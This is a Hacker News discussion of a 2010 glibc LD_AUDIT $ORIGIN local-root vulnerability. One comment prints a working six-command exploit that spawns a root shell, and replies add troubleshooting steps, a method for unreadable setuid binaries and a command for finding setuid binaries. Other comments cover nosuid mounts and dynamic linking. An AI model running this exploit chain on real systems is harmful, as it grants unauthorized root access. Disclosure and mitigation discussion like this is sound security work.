

Glibc vulnerability allows any user to get root access - kia
http://seclists.org/fulldisclosure/2010/Oct/257

======
cnvogel
Interestingly the method of mitigation, which is mounting user-accessible
filesystems nosuid, has become less and less common over the years.

When dinosaurs still roamed the earth, it used to be that all unix installs
used separate /, /var, /usr, (/export)/home, ... directories, the rationale
being mostly to facilitate remote mounting of shared (/usr) programs or to
isolate filesystem corruptions (/ being mostly read-only and containing
essential binaries).

But its quite convenient to have each of them mounted with adequate, security
and performance enhancing mount options (in Linux for example: /=noatime,
/usr=nodev,noatime, /var,/tmp,/home=nodev,nosuid).

I used this scheme for quite a long time and only recently abandoned it here
and there because popular Linux distributions, or e.g. OpenSolaris ZFS-root no
longer offer it on their default install media. And of course it wastes a
little space having to judge the maximum expected size when installing the
machine.

~~~
nodata
I think this change is mostly due admin time per machine. Even if you use LVM
your admin time per machine is higher if you have lots of separate partitions.

btw you might want relatime rather than noatime.

~~~
eru
Actually, you might want relatime rather than atime. Noatime is fine, if you
do not rely on read access times, i.e. almost all situations.

~~~
nodata
The problem is that you don't really know which applications do rely on read
access times, and because the performance jump between atime<->noatime and
atime<->relatime is pretty much the same, I always go for the safer option.

~~~
eru
I agree. Just use relatime by default and be done with it.

(Though I have usually gone without atime, and just made a partition for my
emails with atime to make mutt happy.)

------
NiekvdMaas
That's 6 commands to get root access:

    
    
      mkdir /tmp/exploit
      ln /bin/ping /tmp/exploit/target
      exec 999< /tmp/exploit/target
      rm -rf /tmp/exploit/
      echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc -
      LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999
    

I tried, and at least glibc 2.6 and up are not vulnerable.

 _Edit: cat - > ping_

~~~
kelnos
Doesn't work for me either; I get "Permission denied" at the first exec step.
Glibc 2.12.1 here (Gentoo).

~~~
rg3
That's because, to redirect that file to file descriptor 3 for reading, you
need read permission on the file. In my system, for example, /bin/ping cannot
be read as a normal user (permissions 4711) and I get that same error.

You'll have to find another binary that has the SUID bit set and is readable.
For example, in my system /bin/mount does the job. Still, in the last step I
get the same error as reported by several other users (Inconsistency
detected...)

~~~
pyre
There is also a method at the end of the mail (in the Notes section) that
details a method of using a SUID binary that you don't have read access to.

TL;DR

1\. cause STDERR to block

2\. run the SUID binary in the background in a way that triggers ld to try to
write to STDERR causing it to block.

3\. Replace /tmp/exploit with your binary

4\. eliminate the blocking condition on STDERR.

5\. ld will continue on using the $ORIGIN value.

------
enduser
This exploit works on an up-to-date RHEL5.3 server. Confirmed on a Rackspace
Dedicated Hosting system.

NiekvdMaas's exploit code does not work on many systems because /tmp is a
separate filesystem from /. Try using a different location for the 'exploit'
directory and file.

------
mhansen
Just tried this on an older box, and it worked. Libc version 2.5

    
    
        $ /lib/libc.so.6 | head -1
        GNU C Library stable release version 2.5, by Roland McGrath et al.
    

On Ubuntu 10.04 LTS I hit the assertion they talk about, and it fails:

    
    
        $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
        Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!

------
roel_v
Maybe a bit OT, but I long for the days when advisories were cool and funny,
Gobbles-style. Nowadays it's so... sterile and corporate. Still cool on a
technological level (sometimes), but the Wild West spirit made the vuln-dev
scene much more appealing as a spectator sport.

------
DisposaBoy
For what it's worth, I get the error: ln: failed to create hard link
`/tmp/exploit/target' => `/bin/ping': Invalid cross-device link

Are there any other way to do this without ln? I have no binaries on non-root-
writable filesystems. tmp is on tmpfs, / and /home are on their own
filesystems so I'd need to be root to create the files on a partition that
this could work from.

~~~
mhansen
Doesn't sound like it. Sounds like you need a setuid binary on a filesystem
you can link to.

You can use find to see if you have a setuid binary anywhere in your
filesystem:

    
    
        find / -perm -4000 2>/dev/null

------
vegai
I'd like to see the defenders of dynamic linking who claimed that it's good
for security step up now :-)

~~~
pquerna
it is better, on average.

having 20 random-version-bundled copies of libxml2 for example would make
upgrading it a massive pain.

i think this actually a better example of setuid binaries burning you more so
than dynamic linkers.

~~~
doki_pen
False dichotomy. Among the many things that are wrong with this statement, the
most important is that usually when upgrading an so, you must rebuild the
packages that depend on it. Just ask any Gentoo user.

<http://dl.suckless.org/stali/clt2010/stali.html>

~~~
calloc
That is only true of the application binary interface has changed. Usually
this means the developer will update the number associated with the library.

Botan is a cryptographic library, it is on version 1.8.10, however its library
is at 1.8.2, which means if the application was compiled against version 1.8.3
it will work just as well with 1.8.10 as it would with 1.8.2 as none of the
binary interface has changed.

~~~
doki_pen
This is how it works in theory. It seems that many fixes would involve
breaking things. And how do you enforce this behavior of bumping the version?
Do all upstream developers agree to your interpretation of what version
numbers mean?

~~~
calloc
The upstream bumps the version when the ABI breaks. This is a social
convention, there is no requirement for them to do so, but if they don't
package managers certainly will.

Also many fixes DON'T involve breaking the ABI, generally it is a fix within a
function so the function return type, name and parameters stay the same as
such the ABI is not broken as that is all that matters, you can change the
function all you want so long as it still returns the same thing as before.

Yes it works very well in practice, and makes development much nicer, as
libraries around my product can easily be updated without me having to update
anything.

